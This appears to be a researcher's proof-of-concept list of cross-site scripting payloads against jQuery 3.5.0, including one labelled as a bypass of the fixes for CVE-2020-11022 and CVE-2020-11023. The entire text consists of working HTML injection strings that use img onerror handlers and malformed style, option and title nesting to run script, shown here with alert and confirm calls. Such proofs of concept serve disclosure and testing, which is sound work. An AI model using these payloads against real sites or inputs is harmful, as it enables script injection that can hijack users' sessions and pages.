XSS Examples with jQuery version 3.5.0
PoC 1
<![CDATA[
<style><style /><img src=x onerror=alert(1)>
]]>
PoC 2 (Only jQuery 3.x affected)
<![CDATA[
<img alt="<x" title="/><img src=x onerror=alert(1)>">
]]>
PoC 2.BYPASS
<![CDATA[
<img onerror="javascript:alert('[santiko1986@wearehackerone.com] | XSS bypass of CVE-2020-11022/CVE-2020-11023')" src="x" alt="<hacked" title="/><img src=x onerror=confirm(1)">
]]>
PoC 4
<![CDATA[
<option><style></option></select><img src=x onerror=alert(1)></style>
]]>